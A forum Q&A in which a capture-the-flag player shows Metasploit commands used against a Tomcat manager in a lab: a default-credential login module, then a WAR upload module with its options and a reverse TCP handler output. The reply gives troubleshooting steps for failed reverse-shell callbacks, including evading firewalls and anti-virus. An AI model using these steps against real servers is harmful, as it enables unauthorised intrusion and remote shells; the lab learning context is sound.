Payload uploaded but error : "no session was created"

Question

I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue.

I did:

1. nmap --> got port 8080
2. firefox -> 10.10.40.122:8080 -> got Apache
3. msf6 use tomcat_mgr_login in order to get the password (in this case tomcat:tomcat)
4. use tomcat_mgr_upload and set the following options:

set HttpUsername tomcat  
set HttpPassword tomcat  
set RHOSTS 10.10.40.122
set RPORT 8080
set TARGETURI /manager

However the when I run or exploit this is the result:

[*] Started reverse TCP handler on 192.168.1.18:4444 
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying 7yxot7kEKOzfCG2bzoGRrqt5L3KMh...
[*] Executing 7yxot7kEKOzfCG2bzoGRrqt5L3KMh...
[*] Undeploying 7yxot7kEKOzfCG2bzoGRrqt5L3KMh ...
[*] Exploit completed, but no session was created.

and if I look on the Apache manager I can see the deployed file:

What am I doing wrong?

Answer 1

You need to start a troubleshooting process to verify what's working, what isn't, and where to focus your investigation. The more things you can test in isolation of other dependencies, the better.

Troubleshooting Steps

The high-level steps are to confirm:

1. connection to the target
2. the target received the payload
3. the target is processing the payload
4. the target is trying to connect back to the attacking box
5. that the attacking box is receiving the connection

In more detail:

1. Confirm that you have a connection to the target. Is there a network connection between the attacking box and the target? Can you ping, browse, or otherwise make a simple connection?
   • In your case, you are able to interact with the target, so that is confirmed.
2. Confirm that your payload reached the target. Can you see the file? If the payload is in memory, you might not be able to confirm this step.
   • You can see the uploaded payload on the target, so this is confirmed.
3. Confirm that the payload is being processed. Is there evidence of the payload running? Can you add some kind of non-network indicator to the payload that lets you know that the payload is running? Or deploy some other type of payload to confirm that payloads can be executed? Is your target actually vulnerable to the exploit you are trying? Is there AV or other protections stopping the attack?
   • Your metasploit output shows that it is deploying and interacting with the exploit, so that is confirmed to some level.
4. Confirm that the target is trying to make a connection back to the attacking box. Can you run a packet capture on the attacking box to see the connection attempt? Can you look at network logs or firewall logs to see the attempt? You might not have this level of access to the target, so in this case, you might need to infer what's going on based on other evidence.
5. Confirm that the attacking box is receiving the connection. Can you run a packet capture on the attacking box to see the connection attempt? Is the connection malformed? Is the connection being made what you expected? Is nothing being received at all?

From these tests, you can isolate where to look or where to experiment with different options.

Common Issues

There are some very common issues we've seen here when others have asked this question:

• no network connectivity at all to the target (solution: fix the networking)
• firewall on the target (solution: shut down the firewall or use an allowed port)
• no vulnerability on the target (solution: find an actual vulnerability)
• anti-virus (solution: disable the AV or use anti-AV techniques)
• bad payload config (solution: adjust/experiment with the settings for the target, or confirm that each of the settings would work on the target)
• the injected process ended (solution: target a persistent process or find a way to keep the process running)

"Exploit completed, but no session was created."

This error message is not very helpful. It can mean that the exploit actually failed (AV, no vulnerability, etc.) or that it did successfully execute, but that the connection back to the attacking box was not successful. You need to run the last half of the troubleshooting steps to figure out what's going on.